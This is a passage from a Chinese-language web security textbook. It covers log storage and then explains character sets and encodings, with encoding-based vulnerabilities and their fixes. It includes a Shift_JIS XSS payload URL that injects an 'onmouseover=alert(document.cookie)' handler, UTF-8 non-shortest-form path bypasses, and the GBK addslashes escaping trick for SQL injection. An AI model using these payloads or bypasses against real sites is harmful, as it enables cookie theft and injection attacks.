服务器或者数据库服务器以外的地方，并且分配日志管理者这一角色，并将此角色和网站管理者分离。\n日志文件保存位置\n日志可以选择保存到文件里，也可以保存到数据库中，但是出于上一小节提到的日志保护的目的，最好把日志保存到单独的服务器上。也许这会导致运营成本上升，所以需要在设计阶段即开始讨论此问题。\n日志文件保存期限\n在最初的设计阶段，还要根据网站性质，决定各种日志文件的保存期限策略。但是考虑到为了方便对安全事件进行调查，也许很难设置一个合理的日志保存期限，所以也有人采用无期限保存日志的方法。\n但是同时日志文件里有可能包含机密信息，如果保存期限变长，那有可能提高信息泄漏的危险，这就和上面所说的矛盾了。我们可以将日志定时地复制到 DVD 光盘，然后将这些媒体保存在物理上安全的地方等，这样即能延长日志保存期限又能保护日志安全。\n服务器的时间调整\n单一日志文件有时候意义不是很大，更多时候是同时从 Web 服务器、应用程序、数据库、邮件等各种日志同时展开调查。在从众多的日志中寻找线索的时候，就需要统一各个服务器的时间。\n为了达到各个服务器时间统一，可以通过使用 NTP（Network Time Protocol）协议来进行服务器间时间的同步设置。\n5.4.4 实现日志输出\n日志的保存方法主要有保存到文件或者保存到数据库两种，我们选择哪种实现都可以。我们也可以选择使用专门针对日志而开发的第三方库。比较有代表性的第三方日志库包括为 Java 准备的 log4j。log4j 现在是 apache 基金会的一个项目，现在不仅是 Java，还有专供 PHP 使用的 log4php，以及供微软 .NET 使用的 log4net 等衍生产品 22\n 。\n22\nhttp://logging.apache.org/\n使用 log4j 或者 log4php 的好处有如下几点。\n可以通过简单设置来指定日志保存位置\n根据日志使用目的不同，可以在不同的保存位置自由切换\n可以通过配置文件配置日志格式（也称为 Layout）\n可以指定输出日志的级别，并且可以不通过修改代码就能修改日志输出级别\nlog4j 自带的日志保存类型包括以下几种，我们甚至可以不修改代码就能实现按用途将日志分开保存到不同的地方。\n文件\n数据库\n邮件\nsyslog\nWindows 事件日志（NTEVENT）\nlog4j 提供的日志级别有以下几种，顺序为按严重程度从高到低。\nfatal（致命错误）\nerror（错误）\nwarn（警告）\ninfo（信息）\ndebug（调试）\ntrace（跟踪，输出比调试更详细的信息）\n一般来说我们会在开发时将日志输出级别设置为 debug，然后在生产环境中指定为 info 级别，这样的话不用修改代码，也能获取重要程度在 info 以上的日志。\n5.4.5 总结\n在这一节我们主要针对日志的重要性及安全需求设计做了详细说明。\n从系统安全的角度来看，日志不仅有助于在早期发现潜在的攻击事件，还能有助于发生安全事故后的详细调查。\n要想记录有效的日志，我们应该遵循 4W1H（When、Who、Where、What、How）的原则采集日志，并且确保日志本身的安全。另外，为了同时能调查从多台服务器采集的日志，还需要通过 NTP 来统一服务器的时间设置。\n第 6 章 字符编码和安全\n本章将讲解在处理字符编码时容易产生的安全漏洞。Web 应用程序中涉及字符串的操作非常多，如果对字符编码的处理出现问题的话，除了会造成程序缺陷（即Bug）以外，还可能导致系统漏洞。\n本章的前半部分作为入门将介绍一下字符集和字符编码，从后半部分开始讲解在处理字符集或字符编码时可能引起的安全隐患，最后将讨论一下如何正确处理字符编码。\n6.1 字符编码和安全概要\nWeb 应用程序里频繁地出现字符串的处理，如果在字符串处理中有考虑不周的地方，除了会产生各种各样的 Bug（尤其是乱码问题）之外，还可能会产生系统漏洞。\n在 Web 应用中涉及字符编码处理的地方主要存在于下图 6-1 里标记出来的地方。\n图 6-1 Web 应用里涉及字符编码处理的地方\n从上图可以看出，在很多处理环节我们都必须要意识到字符编码的存在。这些和字符编码有关的设置或者处理如果不正确的话，很有可能就导致系统安全漏洞的出现。\n本章将会在学习字符编码安全知识之后，对字符编码安全相关的基础知识加以说明。现在广泛使用的“层字符编码”（Character Code）这个用语可能有点模棱两可，它实际上包含下面两层意思。\n字符集（Character Set）\n字符编码方式（Character Encoding Scheme）\n从下一节开始我们将分别对这两个概念加以说明。\n6.2 字符集\n这一节中我们将讲述字符集的相关知识。字符集，即计算机中处理的所有字符的集合。在厘清字符集的概念之后，我们会对处理字符集时的注意事项进行简单说明。\n什么是字符集\n字符集，顾名思义，是一组字符的集合。大写英文字母（A、B、C、……Z）、数字（0、1、2、……9）等集合都是字符集。在计算机上处理字符集的时候，由于计算机中的信息都是以二进制方式存储的，如果直接处理字符的话会很不方便，所以给每个字符都分配一个编号（符号）来进行标识。严格来说，分配了编号（符号）的字符集叫作符号化字符集，不过本书的说明里都将统一使用字符集这一称呼。\n表 6-1 是我们总结了比较常见的字符集列表。\n表 6-1 常见字符集\n字符集名称\n位长\n对应语言\n说明\nASCII\n7位\n英语\n最早的标准化字符集\nISO-8859-1\n8位\n西欧语言\n在ASCII的基础上加上了法语、德语带声调的字符\nJIS X 0201\n8位\n英文、片假名\nASCII和片假名\nJIS X 0208\n16位\n日语\n包括第二基准在内的汉字\n微软标准字符集\n16位\n日语\nJIS X 0201和JIS X 0208，以及NEC和日本IBM的非兼容字符\nJIS X 0213\n16位\n日语\n包括第四基准在内的汉字\nUnicode\n21位\n多语言\n实际共用的字符集\nGB2312\n16位\n简体中文\n中国国家标准的简体中文字符集\nGBK\n16位\n中文\nGBK向下兼容GB2312，同时增加了对繁体字的支持\nGB18030\n32位\n中文\n集大成的字符集，兼容GB2312同时支持Unicode\nASCII 和 ISO-8859-1\nASCII（American Standard Code for Information Interchange 的缩写，有时候也叫作 US-ASCII）是 1963 年美国制定的字符集。它使用 7 比特长的整数来表示在英语圈使用频繁的数字、字母（大小写）、各种符号等。ASCII 之前的字符集都是各厂商自己制定的，ASCII 作为共通的字符集标准，具有划时代的意义，对后来的字符集发展具有深远的影响。\nISO-8859-1 把 ASCII 扩展到 8 比特长，除了英语之外，又增加了法语和德语等西欧语言里的带音调的字符和符号等。ISO-8859-1 也经常被称为 Latin-1，作为 ASCII 的替代品，至今仍在广泛使用。\nJIS1\n 规定的字符集\nJIS X 0201 是在 ASCII 扩展到 8 比特的基础上，加上了片假名及常用的日语符号的字符集。JIS X 0201 和 ASCII 有一部分编码是共通的（JIS X0201 是超级），但是也有两个例外，那就是 JIS X0201 将 ASCII 中 0x5C 表示的反斜线“\\”替换为日元符号“￥”2\n ，将 ASCII 中 0x7E 表示的波浪线替换为上划线（Overline）。尤其是反斜线是很容易发生安全隐患的特殊字符，要给予特别重视。\nASCII、ISO-8859-1、JIS X 0201 的包含关系如图 6-2 所示。\n图 6-2 1 字节字符集的包含关系\n由于 JIS X 0201 不包括日语中不可缺少的平假名和汉字，所以 1978 年制定了 JIS X 0208 字符集标准。JIS X 0208 包括平假名、片假名、汉字（包括第 1 基准 2965 字及第 2 基准 3390 字）等，使得计算机的日语处理大步前进。即使是到现在，JIS X 0208 也仍然保持着很大的影响力。\nJIS X 0208 虽然也包括罗马字（英文字母）和数字，但是与 ASCII 或 JIS X 0201 采用了不同的编码体系。所以 JIS X 0208 的罗马字或者片假名又叫作“全角罗马字”“全角片假名”，ASCII 或 JIS X 0201 的字符叫作“半角字符”，将两者完全作为不同的字符来使用（“全角”和“半角”不是正式的叫法而是通常的称呼）。\n之后到了 2000 年，向下兼容 JIS X 0208 的 JIS X 0213 发布了。JIS X 0213 增加了第 3 基准的 1259 个汉字和第 4 基准的 2436 个汉字。比如尾骶骨的“骶”就是第 3 基准的汉字。\n最初我们在程序中不是必须要考虑到 JIS X 0213 的存在，但是随着 Windows Vista 支持全部的 JIS X 0213 字符，不知不觉中 JIS X 0213 也渐渐普及开来。\n微软标准字符集\n微软公司（现在日本微软）在 1993 年发布 Windows 3.1 日语版的时候，把之前各个厂商独自扩展的字符集统一起来，制定了微软标准字符集。从那之后，即使使用不同厂商生产的电脑，但只要是运行 Windows 3.1 的话，就可以使用共通的字符集了。\n微软标准字符集在 JIS X 0201 和 JIS X 0208 的基础上又统一了 NEC 以及日本 IBM 的扩展字符集。NEC 扩展字符集比较有名的是类似“①”这样带圈的数字，日本 IBM 扩展汉字里比较有名的包括内田百閒 3\n 的“閒”，以及髙村薫的“髙”4\n 等。\n微软标准字符集里像带圆圈的数字等很多字符后来都被 JIS X 0213 或者 Unicode 引入，现在都成为标准的字符了。而且，微软标准字符集本身也作为 CP932 代码页（CodePage）被广泛使用。关于 CP932 我们将在后面进行说明。\nUnicode\n前面我们对日本字符集的历史做了简要的说明，除日本外，各国也都有各自不同的字符集。如果每个国家都制定并使用本国的字符集的话，既不利于信息的传播，也不利于软件产品的国际化，所以制定世界统一的字符集的呼声越来越高。以此为契机，计算机企业组成的小组制定了 Unicode 字符集。Unicode 的第一版 1.0 版是在 1993 年公布的，之后一直在不断完善，到本书翻译时 Unicode 的最新版为 6.2 版（2012 年 9 月 27 日公布）。\n最开始制定 Unicode 字符集的时候，计划只用 16 比特就能够包罗世界上所有的字符，不过之后很快就发现这根本不够用，所以现在 Unicode 已经扩展到了 21 比特了。最初制定的 16 比特的编码则称为基本多语言平面（Basic Multilingual Plane，BMP）。\nUnicode 编码里将文字编码成为码位（Code Point），用 U+XXXX（XXXX 为 4 位到 6 位的十六进制数）表示。比如，日语里的“表”的码位为 U+8868。\nUnicode6.0 包括了之前我们介绍过的 ASCII、ISO-8859-1、JIS X 0201、JIS X 0208、JIS X 0213、微软标准字符集。图 6-3 显示了它们之间的包含关系。\n图 6-3 多字节字符集之间的包含关系\nGB2312\nGB2312 又称 GB2312-80 字符集，全称为“信息交换用汉字编码字符集·基本集”，由原中国国家标准总局发布，1981 年 5 月 1 日开始实施。GB2312 在中国大陆和新加坡被广泛使用，中国大陆几乎所有的中文软件都支持该字符集。\nGB2312 是一个 16 位字符集，它是对 ASCII 的中文扩展并兼容 ASCII。GB2312 字符集一共收录了 6763 个汉字，其中一级汉字 3755 个，二级汉字 3008 个。同时它还收录了包括拉丁字母、希腊字母、日文平假名片假名等在内的 682 个字符。但不支持人名、古汉语等方面的罕用字和繁体字，这也导致了后来 GBK 和 GB18030 字符集的出现。\nGBK\nGBK 即汉字内码扩展规范，它是 GB2312 编码的超集，向下完全兼容 GB2312，并支持 GB2312-80 编码不支持的部分中文姓、中文繁体、日文假名，以及希腊字母、俄语字母等字母。\n不过 GBK 并不是国家标准，它最早实现于 Windows 95 简体中文版，也就是 CP936 字码表。微软的 CP936 通常被视为等同 GBK。\nGB18030\nGB18030 全称为“信息交换用汉字编码字符集 ? 基本集的扩充”，是于 2000 年发布的新的汉字编码国家标准，它也兼容 GB2312 标准。\nGB18030 编码是变长编码，有单字节、双字节和四字节三种方式，该标准支持超过 160 万的码位空间。最新版 GB18030-2005 兼容 Unicode 中日韩统一汉字，共收录了 70244 个汉字，覆盖了繁体和简体中文、日文、朝鲜语和中国少数民族（如藏、蒙古、傣、彝、维吾尔等）的文字。\n不同字符相同编码的问题\n我们在介绍 JIS X 0201 的时候已经说过了，即使编码相同，但是在不同的字符集里，表示的字符是不一样的。比如在安全上很容易出问题的反斜线“\\”和日元符号“￥”就是这种情况。\n在 ISO-8859-1 和 Unicode 里面，0xA5 是分配给日元符号“￥”的，然而在日本的字符编码里面，一直都是用 0x5C 来表示日元符号“￥”的。它们之间的关系可以参考表 6-2 对这两个字符在各个字符集的总结。5\n6\n表 6-2 字符集之间字符分配区别\n字符集\n0x5C\n0xA5\nASCII\n\\\n%5\nJIS X 0201\n￥\n·6\nISO-8859-1\n\\\n￥\nUnicode\n\\\n￥\nGB2312\n\\\n非法字符\nGBK\n\\\n非法字符\nGB18030\n\\\n非法字符\n字符集的处理引起的漏洞\n上面列出的字符集间对同一字符分配不同编码的问题，有时候会成为系统产生安全漏洞的原因。将 Unicode 的日元符号“￥”（U+00A5）转换为 JIS 系列编码的时候，根据处理方法的不同，为了保留原字符需要将此字符编码转换为 0x5C（JIS X0201 的日元符号）。而 0x5C（表示反斜线的编码）在需要转义的时候由于处理顺序等不同而导致转义操作被遗漏的时候，就有可能导致系统产生漏洞了。\n反斜线在 SQL 语句里等是需要转义的对象字符，但是如果在日元符号“￥”（U+00A5）的状态下被转义，而之后又被转换为反斜线“\\”的话，那么转义操作就跟没有做过一样了。7\n1\n 日本工业规格（Japanese Industrial Standards，JIS），由日本工业标准调查会（JISC）组织制定和审议。——译者注\n2\n 同时这也是人民币符号。——译者注\n3\n 夏目漱石门下的小说家、散文家。——译者注\n4\n 日本小说家、作家。髙是高的异体字。——译者注\n5\n 因为 US-ASCII 是 7 比特的字符集，所以最高位的 1 比特会被忽略，被当作 0x25 进行处理。\n6\n 半角的中点。\n7\n 具体可以参考独立行政法人信息处理推进机构（IPA）的资料《安全调用 SQL 的方法》中的“A.3 由 Unicode 导致的 SQL 注入”。\n6.3 字符编码方式\n前面我们对什么是对字符集进行了说明，从本节开始我们将对字符集如何在计算机上表示及处理，也就是编码（Encoding）进行说明。首先我们将介绍一下比较常用的日文字符编码方式，然后再针对这些编码方式的特点及注意事项加以说明。\n什么是编码方式\n字符集（符号化字符集）虽然已经被标上了编号，也许我们会觉得直接那样在计算机上使用不就可以了吗？然而实际上没那么简单。首先最初普及的字符集多是单字节字符集，比如 US-ASCII、ISO-8859-1、JIS X 0201 等，后来发展起来的兼容单字节字符集的多字节字符集，比如 JIS X 208 或者 Unicode 等，和 US-ASCII 等单字节字符集还是同时并存的。为了兼容并且同时支持不同的字符集，需要对这些字符集进行编码，这种编码过程就叫作“编码”或者“字符编码方式”。\n在日语 Web 应用程序里多使用的字符编码方式有基于 JIS 系列字符集的 Shift_JIS 和 EUC-JP，以及基于 Unicode 字符集的 UTF-16 和 UTF-8。\n下面我们分别对这些字符编码方式进行说明。\nShift_JIS\n1980 年代初期，个人计算机开始在日本普及，同时也出现了针对在计算机上处理日语汉字的新字符编码方式的需求。为了满足这种需求，出现了将字符集 JIS X0208 映射到 JIS X0201 空白区域的编码方法，这就是 Shfit_JIS。Shift_JIS 使用的字符集是微软标准字符集，所以 Shift_JIS 也被称为微软字码页（Code Page ）932 或者简称为 CP932。\n在 Shfit_JIS 编码里，为2字节字符中的第一个字节（前置字节）分配了 0x81～0x9F 和 0xE0～0xFC 两块区域，将第二个字节（后置字节）分配给了 0x40～0x7E 和 0x80～0xFC 两块。可以参考图 6-4 里示例的字符编码分配方式。\n图 6-4 Shfit_JIS 的各字节分配\n和后面要讲到的 EUC-JP 或者 UTF-8 比起来，Shfit_JIS 这种字符编码方式巧妙的使用了第一个字节中比较窄的一部分来扩展出第二字节以容纳更多的汉字，从存储效率上来说是比较高的，但是同时也有一些它固有的缺点。下面我们就来看看它的缺点都有哪些。\n对字符匹配的影响\n第一个缺点是由于 Shift_JIS 编码的第一个字节和第二个字节有部分编码是重合的，如果光把第一个字节拿出来，我们无法分辨它是某一字符编码后的第一个字节的还是第二个字节。\n而且，在后置字节的范围里，存在着和第一字节中特殊符号重合的部分，如果对 Shift_JIS 字符处理存在缺漏的话，可能会吧 Shift_JIS 中后置字节的数据误认为特殊符号来处理了。典型例子是由 0x5C“￥”导致的错误，即“5C”问题。\n下面我们来看一下具体的例子。首先看一下在字符串“ラリルレロ”中查找字符“宴”的问题，如图 6-5 所示。类似的 Bug，笔者曾经在一个咨询案例中遇到过，当时它存在于用 PHP 编写的片假名判断函数中。在笔者负责的那个应用里，这个 Bug 把“宴”误当作片假名了。8\n图 6-5 “ラリルレロ”中的第二、三字节和“宴”匹配成功\n如果想再现这个问题的话，可以使用下面的脚本（注意文件需要以 Shift_JIS 编码方式保存）。程序的执行结果为 1（strpos\n 的返回值是从源字符串的位置 0 开始计算的）。\n<?php\n$p = strpos(' ラリルレロ ', ' 宴 ');\nvar_dump($p);\n解决这个问题的方法其实很简单，那就是使用对应多字节字符串操作的 mb_strpost\n 来代替 strpos\n 方法。此外，需要将内部字符编码方式 9\n 设为 Shift_JIS。\n下面我们再看一下将字符“表”的第二字节和日元符号“￥”匹配的例子，如图 6-6 所示。这也是引起系统漏洞的可能原因。\n图 6-6 表的第二字节和 ￥ 匹配成功\n上面两个例子都可以通过使用多字节版本的字符串处理函数来解决。另外，如果使用 UTF-8 （后面会涉及）的话，由于其本身从编码规则上来说不会导致类似上面问题的发生，可以说是一种比较安全的方法。\n非法的 Shift_JIS 编码数据\n现在已经有一些公开的方法可以通过使用非法的 Shift_JIS 数据进行攻击。非法的 Shift_JIS 编码数据（字节数据）指的是如下的数据。\n只有 Shift_JIS 的前置字节而没有后置字节（比如 0x81）\n紧随 Shift_JIS 前置字节的后置字节不在正确的范围之内（比如 0x81 0x21）\n由非法 Shift_JIS 编码数据引起的 XSS\n非法的 Shift_JIS 编码数据有时候可能引起 XSS 漏洞。请参考下面的示例代码。假设源文件以 Shift_JIS 编码保存并运行。\n代码清单 63/63-001.php\n<?php\n session_start();\n header('Content-Type: text/html; charset=Shift_JIS');\n?>\n<body>\n<form action=\"\">\n姓名 ：<input name=name value=\"<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES); ?>\"><br>\n邮箱地址 ： <input name=mail value=\"<?php echo htmlspecialchars($_GET['mail'], ENT_QUOTES); ?>\"><br>\n<input type=\"submit\">\n</form>\n</body>\n当不带表单查询字符串（Query String）的时候，页面显示如下图 6-7 所示。\n图 6-7 63-001.php 的页面显示\n下面，我们再通过下面的 URL 来运行刚才的例子。\nhttp://example.jp/63/63-001.php?name=1%82&mail=onmouseover%3dalert(document.cookie)//\n如图 6-8 所示，可以看到页面里本来有两个的输入框现在变成只有一个了。\n图 6-8 63-001.php 页面显示被修改\n如果我们再把鼠标移动到输入框上面去，则 JavaScript 代码会被执行，弹出如图 6-9 那样的对话框。\n图 6-9 植入的 JavaScript 代码被执行\n这时候我们再来看看页面的源代码（关键部分），如下所示。\n<input name=name value=\"1 · ><BR>\n邮箱地址 :\n<input name=mail value=\"\nonmouseover=alert(document.cookie)//\"><BR>\n这里只显示了表单里和 input 属性值相关的内容，其中由程序生成的内容以网格线显示。\n图 6-10 应用程序生产的属性值\n其中 0x82 是 Shift_JIS 编码里两字节字符中的第一个字节，很多浏览器（包括 Internet Explorer 和 Firefox 等），都将 0x82 和后面的 \" 作为一个字符看待。所以本来表示属性值结束位置的双引号 \" 被作为 Shift_JIS 编码字符的第二字节使用，直到 input 元素的“value=\n ”为止（上述 HTML 代码中的阴影部分），都被作为前一元素的 value 属性来处理了。\n图 6-11 0x82 和 \" 被合起来当作一个字符来处理\n由于前一属性的值的闭合双引号一直延续到了下一个属性的“value=”，所以通过参数 mail= 指定的“onmouseover=alert(document.cookie)//\n ”被“挤到”了属性值的外面，从而被识别成了 HTML 元素的鼠标事件绑定了。\n我们会在后面说明如何从根本上解决这个问题的。这里我们先看一下如何通过指定 htmlspecialchars\n 函数的第三个参数来设置正确的字符编码方式，以消除 XSS 隐患。\n代码清单 63/63-002.php（部分代码）\n姓名 ：<input name=\"name\" value=\"<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'Shift_JIS'\n); ?>\"><br>\n邮箱地址 ： <input name=\"mail\" value=\"<?php echo htmlspecialchars($_GET['mail'], ENT_QUOTES, 'Shift_JIS'\n); ?>\"><br>\n修改后的代码执行结果可以参考下面的图 6-12。 在这个图中，我们可以看到 onmouseover 事件作为纯文本显示在了文本框中，而没有被解释为 JavaScript 脚本来执行。\n图 6-12 消除 XSS 隐患后\nEUC-JP\nEUC-JP 是为了在 Unix 上处理日语而设计的字符编码方式。对于 US-ASCII 字符集的字符，EUC-JP 直接使用其编码，对于 JIS X 0208 字符集规定的日语字符，则使用两个字节的 0xA1～0xFE 范围。\n图 6-13 是 EUC-JP 的各个字节的分布示意图\n图 6-13 EUC-JP 的各字节分布\n从上图可以看出，由于 2 字节长字符的后置字节不会和 1 字节字符发生重合，所以不存在 Shift_JIS 中的“5C”问题。但是，EUC-JP 里 2 字节长字符的前置字节和后置字节范围是一样的，所以如果将日语字符串移位一个字节的话，就会发生字符串匹配问题。图 6-14 是在字符串“ラリルレロ”中匹配“蛍”的例子。\n图 6-14 字符串“ラリルレロ”中匹配“蛍”成功\n下面的代码（需要将文件保存为 EUC-JP 编码方式）展示了如何再现这个问题。脚本的运行结果会打印出来显示 3（strpos\n 的返回结果是从源字符串的位置 0 开始计算的）。\n<?php\n$p = strpos(' ラリルレロ ', ' 螢 ');\nvar_dump($p);\n要想解决这个问题也很简单，和 Shift_JIS 一样，使用多字节版本的 mb_strpos\n 就可以了。同样，内部字符编码方式需要设置为 EUC-JP。\n非法的 EUC-JP 编码数据\n什么算得上是非法的 EUC-JP 编码数据？其条件和前面讲到的“非法的 Shift_JIS 编码数据”中提到的内容是一样的。而且，和 Shift_JIS 一样，非法 EUC-JP 编码数据也会造成系统漏洞。\nISO-2022-JP\n8\n 中文编码也有类似的问题，可以参考后面 GB2312 部分的相关内容。——译者注\n9\n mb.internal_encoding\nISO-2022-JP 采用的是 7 比特的字符编码方式，采用转义序列 10\n 的方式来在 US-ASCII 和 JIS X 0208 之间进行交替编码的方法。有时候 ISO-2022-JP 也被称为“JIS 编码”。图 6-15 是转义序列的一个例子，其表示的是用 ISO-2022-JP 编码方式的日语字符串“ABC と漢字！”在内存的存储情况。\n10\n Escape Sequence。通过一定的组合来表示不能直接显示的字符的方法。狭义上来指以转义字符“0x1B”即 ESC 开始的字符串。——译者注\n图 6-15 ISO-2022-JP 字符串编码示例\n在上面的图里，以“ESC $ B”开头的为 JIS X 0208 编码的数据，以“ESC ( B”开头的数据则为 US-ASCII 编码的数据。由于 ISO-2022-JP 交替使用了两种不同的编码方式，所以并不适合在计算机内部进行处理和查询等操作。这种编码方式主要用于在通信网络中进行数据传输，比较典型的使用场景就是电子邮件的传输。\n也许大家听说过“在网络上不要使用半角片假名”这种说法，其由来也和 ISO-2022-JP 编码有关，因为 ISO-2022-JP 编码中并不支持半角片假名（JIS X 0201）。\n以上我们已经针对 Shift_JIS、EUC-JP、ISO-2022-JP 等基于 JIS 系列字符集的编码方式进行了相应的说明，下面开始我们再来看看 Unicode 编码的两种主要编码方式：UTF-16 和 UTF-8。\nUTF-16\nUnicode 在最初设计的时候曾想使用 16 比特的长度来容纳世界上所有的字符，所以当时直接使用 16 比特码位（Code Point）的编码方式 USC-2，这也是当时使用最普及的 Unicode 编码方式。但是之后 Unicode 长度扩展到了 21 比特，随之出现的是 UTF-16 编码方式。这种编码方式在兼容 UCS-2 的同时，也支持 BMP 之外的字符。\nUTF-16 通过使用代理对（Surrogate Pair）技术来实现支持 BMP 之外的字符。它通过在 16 比特的 Unicode 范围内预留两个 1024（2 的 10 次方）字符长度的区域（0xD800～0xDBFF 以及 0xDC00～0xDFFF），这两个区域组合的话则一共可以表示 2 的 20 次方（大约 100 万）个字符。\n我们来看一下具体的实例，比如 BMP 以外的日语汉字“𠮷”，这个汉字读作“つちよし”， Unicode 编码为 U+20BB7，转换为代理对之后，其存储结构为 D842-DFB7，如下图所示，图中显示的是“𠮷田”用 UTF-16 进行编码后的样子。\n图 6-16 将“𠮷田”进行 UTF-16 编码的结果\nUTF-8\nUTF-8 是和 US-ASCII 保持兼容的 Unicode 的一种编码方式。UTF-8 按照表 6-3 的规则根据 Unicode 的码位范围不同采用不同的方法进行编码，最终编码后的字节长度为 1 字节到 4 字节的可变长度。\n表 6-3 UTF-8 编码比特位模式\n图 6-17 显示的是 UTF-8 编码后各字节的分布示意图。\n图 6-17 UTF-8 编码后各字节分布\n从图 6-17 中我们可以看到，用 UTF-8 方式编码后各前置字节和后置字节不存在重合的部分，给定某一字符串中的任一字节，立刻就可以知道这一字节是字符编码后的首字节还是后置字节。因此 UTF-8 不会像 Shfit_JIS 那样发生“5C”问题，也不存在像 Shift_JIS 和 EUC-JP 那样在字符匹配时从字符中间开始匹配的问题。\n使用 UTF-8 编码方式对日语字符进行编码的时候，JIS X0208 规定的汉字基本上都会编码为 3 字节长，JIS X 0213 规定的第 3 基准和第 4 基准汉字会有部分编码为 4 字节。比如前面说道的“𠮷”（U+20BB7），在 UTF-8 里会编码为“F0 A0 AE B7”4 个字节。下图 6-18 显示的是“𠮷”字编码后的结果。\n图 6-18 将“𠮷田”进行 UTF-8 编码的结果\n从整体上来说，UTF-8 是现在字符编码里使用最方便也是最安全的编码方式，但是它也有需要注意的地方，那就是非最短形式的问题。\nUTF-8 的非最短形式（non-shortest form）问题\n我们再看一下表 6-3。在 UTF-8 里 U+007F 之前的字符都可以用 1 个字节来表现，但是从形式上说，本来应该用 1 个字节表示的字符，用两个字节也可以表示。接着我们可以看个具体的例子，比如表 6-4 是把斜线“/”（U+002F）编码为 1 字节～4 字节的结果。\n表 6-4 “/”的非最短形式\nUTF-8 非最短形式引起的漏洞\n有时候 UTF-8 的非最短形式编码的数据可能会引起系统的漏洞。系统出现漏洞的流程如下。\n安全检查的时候并未将非最短形式 0xC0 0xAF 识别为斜线 0x2F\n而后续处理中将输入数据作为文件名等处理，误将 0xC0 0xAF 作为斜线来看待\n之所以出现上面这样的结果，是因为将用 UTF-8 的非最短形式编码的 0xC0 0xAF 机械地转换为其他编码方式（Shift_JIS、UTF-16 等）的时候，会被转换为普通的斜线。也就是用非最短形式编码的斜线在安全检查时被遗漏，而在打开文件操作时非最短形式的斜线被当作普通的斜线处理了。如果将上面的描述画成一张图进行说明的 话，可以参考图 6-19。\n图 6-19 安全检查中非最短形式编码数据被漏 掉的例子\n由于这个问题的存在，所以在 UTF-8 的最新标准（RFC3629）里规定必须将非最短形式的编码数据作为非法数据进行处理。然而实际上根据实际情况不同，还有很多允许非最短形式编码数据存在的系统，需要格外注意。\n下面是最近出现的允许非最短形式编码的 UTF-8 处理而导致出现问题的例子。当然实际上出现的问题不只这些，需要我们注意时常更新软件。\nJava SE6 Update 10 之前的 JRE（Java 运行时环境）\nPHP5.3.1 以前的 htmlspecialchars\n 函数\n其他非法的 UTF-8 编码\nISO/IEC 10646 是和 Unicode 非常相像的国际标准，在 2006 改版之前它使用比 Unicode 更宽阔的 31 比特空间来容纳各种字符，如果用 UTF-8 进行编码的话，1 个字符最大可能需要 6 个字节的存储空间。但是随着 ISO/IEC 10646 在 2006 年的改版，实质上它已经和 Unicode 是相同的字符集了，UTF-8 编码后的最大长度也变为 4 字节了。\n但是 PHP 的字符编码方式检查函数 mb_check_encoding\n 非常重视对老标准的兼容性，即使是 UTF-8 编码后长度为 5 个字节的数据都认为是正常的编码数据 11\n 。\n另外，如果将代理对的预分配范围（0xD800～0xDBFF 和 0xDC00～0xDFFF）内的码位机械变换为 UTF-8 的话，会占用 3 个字节。比如将 U+D800 机械地变成 UTF-8 编码的话会得到“ED A0 80”，但是作为 UTF-8 来讲这个数据是非法的 UTF-8 编码数据。在将代理对表示的字符转换为 UTF-8 的时候，需要先将原数据进行 UTF-32 编码为 32 位的形式，然后在转换为 UTF-8 的形式，最终编码后的长度应该为 4 个字节。\n在 PHP5.2 之前版本的 mb_check_encoding\n 会把上面说的直接将代理对表示的字符机械地转换为 UTF-8 得到的数据看作是正常的数据，这个问题在 5.3.0 及以后的版本已经被修正了。在 PHP5.2 分支中，官方已经宣布最终支持的版本为 5.2.17 了，所以强烈推荐升级到 5.3 以后的新版本。\nGB2312\nGB2312 中对所收录的汉字进行了“分区”处理，每区含有 94 个汉字 / 符号，这种表示方式也称为区位码。具体分区情况如下。\n01～09 区为符号和数字\n16～55 区为一级汉字，按拼音排序\n56～87 区为二级汉字，按部首 / 笔画排序\n88～94 区为有待进一步标准化的空白区\n在 GB2312 编码中，每个汉字及符号使用两个字节来表示。其中第一个字节称为“高位字节”，第二个字节称为“低位字节”。\n高位字节的编码范围为 0xA1～0xF7（将 01～87 区的区号加上 0xA0），低位字节则使用了 0xA1～0xFE。由于一级汉字从 16 区起始，因此汉字区的高位字节的范围是 0xB0～0xF7，低位字节的范围是 0xA1～0xFE。\n以“安”字为例，它在 GB2312 字符集中的区位码为 1618，分别加上 0xA1 后，就可以得到它在 GB2312 中的编码为 0xB0B2（0xB0 = 0xA1 + 16，0xB2 = 0xA1 + 18）。\n对字符匹配的影响\nGB2312 编码也存在和 EUC-JP 类似的问题，即它的第一个字节和第二个字节的范围是互相重叠的。我们也可以参考上面的例子，编写如下测试代码。\n<?php\nmb_internal_encoding(\"GB2312\");\n$p1 = strpos(\" 安炒 \", ' 渤 ');\n// int(1)\nvar_dump($p1);\n$p2 = mb_strpos(\" 安炒 \", ' 渤 ');\n// bool(false)\nvar_dump($p2);\n汉字“安”的区位码为 1618，“渤”为 1819，而“炒”为 1920，“安炒”连起来为 16181920，如果忽略双字节编码因素，就会导致 1819 被单独拿出来并被匹配为“渤”字。\n使用 GB2312 编码格式保存此文件并执行的话，将分别输出 int(1)\n 和 bool(false)\n 。\n在 GB2312 中解决这个问题的方法和 EUC-JP 等类似，可以在设置内部编码为 GB2312 之后，使用 mb_strpos\n 等支持多字节字版本的字符串函数。\n非法 GB23122 编码数据\n这也和 Shift_JIS 类似，请各位读者参考前面章节中的说明。\nGBK\nGBK 字符有单字节和双字节编码。单字节编码范围为 0x00～0x7F，这是和 ASCII 保持一致的。\n在双字节编码中，GBK 的第一字节的取值范围为 0x81～0xFE，第二字节的一部分为 0x40～0x7E，另一部分为 0x80～0xFE。也就是说它的码位空间为 0x8140～0xFE7E 和 0x8180～0xFEFE。\n码位范围导致的问题\n从上面 GBK 编码中两个字节的取值范围可以看出它存在如下两个问题。\n前置字节和后置字节的取值范围部分重复\n第二字节可能包含字符 0x5C\n第一个问题和前面提到的 GB2312 类似，这里就不详细说明了。而第二个问题则更为严重，PHP 就曾经出现过一个和此相关的非常严重的安全漏洞。\n这个漏洞发生在 PHP 中的 addslashes\n 函数中。该函数的作用是使用反斜线对字符串中的特殊字符进行转义，这些字符为单引号（'）、双引号（\"）、反斜线（\\）和 NUL（NULL 字符）。\n该漏洞发生的根本原因是 addslashes\n 函数并未考虑字符编码的问题，而 \\ 的 ASCII 码是 0x5C，正好落在 GBK 扩充集的低字节范围内。假设用户输入了字符 0xD527，由于 0x27 是单引号，而此函数又不关心字符编码方式，因此 0xD527 会被转义为 0xD55C0x27。而 0xD50x5C 又是一个合法的 